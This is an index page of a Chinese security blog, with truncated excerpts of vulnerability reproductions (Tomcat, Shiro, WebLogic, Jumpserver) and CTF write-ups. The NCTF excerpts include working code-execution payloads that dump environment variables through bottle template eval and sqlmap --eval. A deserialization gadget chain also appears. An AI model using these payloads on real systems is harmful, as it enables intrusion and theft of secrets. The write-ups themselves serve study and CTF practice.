Tomcat中DefaultServlet漏洞复现

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。 CVE-2017-12615 环境搭建 这里用Docker搭建环境。Dockerfile: FROM tomcat:8.5.19-alpine COPY context.xml web.xml /usr/local/tomcat/conf/ COPY debug.sh catalina.sh /usr/local/tomcat/bin/ WORKDIR /usr/local/tomcat/bin/ RUN chmod +x debug.sh && \ chmod +x catalina.sh CMD ["./debug.sh"] debug.sh代码如下: #!/bin/bash ./startup.sh sleep 1000000 覆盖catalina.sh,向文件开头加入以下代码,用于debug。 export JAVA_OPTS='-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005' 在web.xml中配置DefaultServlet的开启: <servlet> <servlet-name>defalut</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>defalut</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping></web-app> 容器其中之后将lib目录下的文件复制出来导入IDEA即可: docker cp tomcat:/usr/local/tomcat/lib ./ docker run如果句柄不够需要加上以下参数: --ulimit nofile=65535:65535 漏洞分析 Tomcat爆出过多个关于DefaultServlet的漏洞。它是Tomcat中自带的一个Servlet,但默认不开启,位于/lib/catalina.jar!/org/apache/catalina/servlets/下。 DefaultServlet定义了doPut方法: protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (this....

April 4, 2025 · 5 min

Shiro-550漏洞复现

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。 基础知识 组件 Shiro有三大核心组件,即Subject、SecurityManager 和 Realm Subject: 认证主体。Subject代表了当前的用户。包含Principals和Credentials两个信息。 SecurityManager:安全管理员。是Shiro架构的核心。与Subject的所有交互都会委托给SecurityManager,它负责与Shiro 的其他组件进行交互。 Realm:域。Shiro从Realm中获取安全数据(如用户、角色、权限),就是说SecurityManager要验证用户身份,那么它需要从Realm中获取相应的用户进行比较,来确定用户的身份是否合法 一些概念: Authentication: 身份认证、登录,验证用户是不是拥有相应的身份; Authorization:鉴权,验证某个已认证的用户是否拥有某个权限 Session Manager: 会话管理 Cryptography: 加密,保护数据的安全性 Concurrency: Shiro支持多线程应用的并发验证,即,如在一个线程中开启另一个线程,能把权限自动的传播过去 Remember Me:会话保存 配置 web.xml,shiro通过filter进行注入。 <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" version="2.5"> <listener> <listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class> </listener> <filter> <filter-name>ShiroFilter</filter-name> <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class> </filter> <filter-mapping> <filter-name>ShiroFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app> shiro.ini用于配置具体权限 [main] shiro.loginUrl = /login.jsp [users] # format: username = password, role1, role2, ..., roleN root = secret,admin guest = guest,guest presidentskroob = 12345,president darkhelmet = ludicrousspeed,darklord,schwartz lonestarr = vespa,goodguy,schwartz [roles] # format: roleName = permission1, permission2, ....

March 26, 2025 · 6 min

CTF记录-NCTF_2024, 红明谷CTF_2025

NCTF 2024 WEB AK ez_dash 过滤不全,可以通过<%%>执行python代码,但没有回显,用继承链获取bottle报错回显。 https://www.osgeo.cn/bottle/stpl.html#embedded-python-code 使用getattr绕过.,bottle.abort(401, "message")函数可以直接报错返回内容。 <%eval(getattr(getattr(__import__('base64'), 'b64decode')('X19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5ib3R0bGUuYWJvcnQoNDAxLCBfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdlbnYnKS5yZWFkKCkp'), 'decode')())%> sqlmap-master 参数注入,sqlmap -hh查看详细信息: --eval=EVALCODE Evaluate provided Python code before the request (e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()") sqlmap的eval可以执行python代码: sqlmap -u http://localhost --eval="print(1)" 通过__import__报错回显,注意payload不能包含空格,不然会被分割。 poc: http://localhost --eval=__import__(__import__('os').popen(__import__('base64').b64decode('ZW52IHwgYmFzZTY0IHwgdHIgLWQgJ1xuJw==').decode()).read()) ez_dash_revenge 远程环境pydash版本比较高,不允许覆盖__globals__和__builtin__, 黑名单检测代码pydash/helpers.py: RESTRICTED_KEYS内容为: RESTRICTED_KEYS = ("__globals__", "__builtins__") 覆盖黑名单POC: /setValue?name=pydash {"path":"helpers.RESTRICTED_KEYS","value":[]} 然后再通过__globals__覆盖题目自定义的黑名单,POC: /setValue?name=setval {"path":"__globals__.__forbidden_name__","value":[]} {"path":"__globals__.__forbidden_path__","value":[]} bottle模板引擎使用正则匹配模板字符串,set_syntax代码如下: def set_syntax(self, syntax): self._syntax = syntax self._tokens = syntax.split() if syntax not in self._re_cache: names = 'block_start block_close line_start inline_start inline_end' etokens = map(re....

March 23, 2025 · 6 min

CodeQL查找AliyunCTF JTools中hutool的二次反序列化链

数据库构建 feilong readme中关于安装的命令: git clone https://github.com/ifeilong/feilong.git --depth 1 mvn install 根据这个写出数据库构建语句,并加上一些跳过选项: codeql database create feilong-database --language="java" --command="mvn clean -DskipTests -Drat.skip=true package" hutool hutool安装要通过install.sh链接,内容如下: #!/bin/bash exec mvn -T 1C clean source:jar javadoc:javadoc install -Dmaven.test.skip=false -Dmaven.javadoc.skip=false 根据这个脚本内容写,把里面的Test和Doc都改成True,跳过Test和文档生成,节省时间。 codeql database create hutool-database --language="java" --command="mvn -T 1C clean source:jar javadoc:javadoc package -DskipTests -Drat.skip=true -Dmaven.javadoc.skip" feilong数据库大概5分钟就建好了,hutool可能需要十几分钟。 codeql不同版本可能有细微差异,要参照文档写:https://codeql.github.com/codeql-standard-libraries/java/ Getter java.beans包下有一些操作bean的类,其中java.beans.PropertyDescriptor#getReadMethod和java.beans.PropertyDescriptor#getWriteMethod用于获取相应Getter/Setter的Method对象。根据这个写出Sink点,查找能够调用Getter的gadget: predicate callGetterSinks(Method method) { exists(MethodAccess call | ( call.getCallee().getQualifiedName().matches("%getReadMethod%") ) and call.getCaller() = method ) } 对于反序列化来说还需要限制方法所在类实现了序列化接口或者是静态方法:...

February 26, 2025 · 5 min

Weblogic Server系列漏洞复现

环境配置 使用WeblogicEnvironment项目搭建,地址:WeblogicEnvironment Weblogic Server官网下载地址:https://www.oracle.com/hk/middleware/technologies/weblogic-server-downloads.html oracle删除了官网上所有的Weblogic Server 10.3.6.0.0的下载链接,只剩下了12.x和14.x的。不过我们可以通过url直接下载:http://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_generic.jar docker build或者run的时候可能会内存不足,增加ulimit即可:--ulimit nofile=65535:65535 docker里的java版本最好和idea使用的版本一样,不然容易出现debug行号不一致的问题。 由于centos 8 于2021年12月31日停止了源的服务,需要修改yum的源等等操作,修改Dockerfile: RUN cd /etc/yum.repos.d/ RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-* RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-* 从容器里复制出lib导入idea即可开始debug,端口以为8453: /u01/app/oracle/middleware/modules /u01/app/oracle/middleware/wlserver /u01/app/oracle/middleware/coherence_3.7/lib T3反序列化 CVE-2015-4852 Weblogic 10.3.6 JDK8u65 T3协议部分参考:http://drops.xmd5.com/static/drops/web-13470.html Weblogic Server 使用T3协议进行RMI通信,请求包格式如下: 第一部分为T3协议头,后面跟着7段java序列化数据,将其中任意一部分改为恶意序列化数据即可。 关于其中探测版本部分,我发现有时返回包会分到两个TCP数据包里发过来,所以脚本需要改一下: data = sock.recv(1024) if len(data) == 4: data = data + sock.recv(1024) 数据流先进入InboundMsgAbbrev#readObject方法: private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException { int var2 = var1.read(); switch (var2) { case 0: return (new ServerChannelInputStream(var1))....

February 23, 2025 · 10 min

CTF记录-VNCTF_2025, AliyunCTF 2025

VNCTF 5道web解出了4道 javaGuide /deser路由可以反序列化,有spring boot和fastjson 1.2.83的依赖。 反序列化有黑名单: protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); String[] denyClasses = {"com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson"}; int length = denyClasses.length; for (String denyClass : denyClasses) { if (className.startsWith(denyClass)) { throw new InvalidClassException("Unauthorized deserialization attempt", className); } } return super.resolveClass(desc); } 可以用signedObject二次反序列化绕过 利用链: EventListenerList.readobject() -> JSONArray.toString() -> SignedObject.getObject() -> EventListenerList.readobject() -> JSONArray.toString() -> Templates.getOutputProperties() fastjson1.2.83使用引用绕过。 Templates templates = new TemplatesImpl(); setFieldValue(templates,"_bytecodes",new byte[][]{getEvilClass()}); setFieldValue(templates,"_class",null); setFieldValue(templates,"_name","asd"); JSONArray jsonArray1 = new JSONArray(); jsonArray1....

February 9, 2025 · 9 min

JNDI注入HessianProxyFactory的一点思考

HessianProxy 浅蓝师傅在 探索高版本 JDK 下 JNDI 漏洞的利用方法 中提到过HessianProxyFactory这个工厂类。可以触发Hessian反序列化。 getObjectInstance代码如下: public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { Reference ref = (Reference) obj; String api = null; String url = null; for (int i = 0; i < ref.size(); i++) { RefAddr addr = ref.get(i); String type = addr.getType(); String value = (String) addr.getContent(); if (type.equals("type")) api = value; else if (type.equals("url")) url = value; ......... } ....

January 29, 2025 · 3 min

python中关于__new__的一个trick

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。 前言 javascript可以通过Function的构造方法从字符串创建函数。在eval被过滤的情况下可以通过字符串创建函数来绕过: atob.constructor('console.log(1);')(); 最近在学习python沙箱逃逸,学习了python也能像js那样使用构造方法创建函数。本文用于记录一下学到的python中关于__new__有趣的玩法。才疏学浅,如有错误还请师傅们指正。 python object 以下分析中python版本为3.12.6,不同版本略有差异 下载源码:https://github.com/python/cpython/ 首先梳理一下python的对象。 python中所有的对象都是由PyObject结构体扩展而来。type感觉类似于java里的Class,负责定义对象的一些基本信息。参考:https://flaggo.github.io/python3-source-code-analysis/objects/object/ type(obj)可以返回对象的type,type中的__new__方法用于创建对象。详细可参考MetaClass:https://liaoxuefeng.com/books/python/oop-adv/meta-class/ __new__最终会调用到PyXXXObject_New api,创建一个对象 PyFunctionObject PyFunctionObject的__new__定义在:cpython/Objects/funcobject.c,有如下注释: /*[clinic input] @classmethod function.__new__ as func_new code: object(type="PyCodeObject *", subclass_of="&PyCode_Type") a code object globals: object(subclass_of="&PyDict_Type") the globals dictionary name: object = None a string that overrides the name from the code object argdefs as defaults: object = None a tuple that specifies the default argument values closure: object = None a tuple that supplies the bindings for free variables Create a function object....

December 6, 2024 · 5 min

CTF记录-SECCON_CTF_13th_Quals, AlpacaHack_Round_7

SECCON CTF 13th Quals Trillion_Bank 题目代码: import fastify from "fastify"; import crypto from "node:crypto"; import fs from "node:fs/promises"; import db from "./db.js"; const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1); const TRILLION = 1_000_000_000_000; const app = fastify(); app.register(await import("@fastify/jwt"), { secret: crypto.randomBytes(32), cookie: { cookieName: "session" }, }); app.register(await import("@fastify/cookie")); const names = new Set(); const auth = async (req, res) => { try { await req.jwtVerify(); } catch { return res....

November 25, 2024 · 11 min

Jumpserver随机数预测漏洞(CVE-2023-42820)复现

环境 Jumpserver <= v3.6.4中存在CVE-2023-42820漏洞,可以预测随机数导致验证码预测。 环境搭建 vulnhub或者官网 漏洞分析 github diff如下https://github.com/jumpserver/jumpserver/commit/ce645b1710c5821119f313e1b3d801470565aac0 random_string函数用于生成密码重置的验证码,去掉了random的seed,所以代码中应该有地方可以设置可控seed。 jumpserver v3.6.4使用了django-simple-captcha v0.5.18来生成验证码,而此版本中在captcha_image函数中设置了种子,但结束后未将其置空。 图片验证码逻辑 captcha相关路由如下: urlpatterns = [ re_path( r"image/(?P<key>\w+)/$", views.captcha_image, name="captcha-image", kwargs={"scale": 1}, ), re_path( r"image/(?P<key>\w+)@2/$", views.captcha_image, name="captcha-image-2x", kwargs={"scale": 2}, ), re_path(r"audio/(?P<key>\w+).wav$", views.captcha_audio, name="captcha-audio"), re_path(r"refresh/$", views.captcha_refresh, name="captcha-refresh"), ] 验证码刷新代码: def captcha_refresh(request): """Return json with new captcha for ajax refresh request""" if not request.headers.get("x-requested-with") == "XMLHttpRequest": raise Http404 new_key = CaptchaStore.pick() ...... @classmethod def generate_key(cls, generator=None): challenge, response = captcha_settings.get_challenge(generator)() store = cls....

November 20, 2024 · 8 min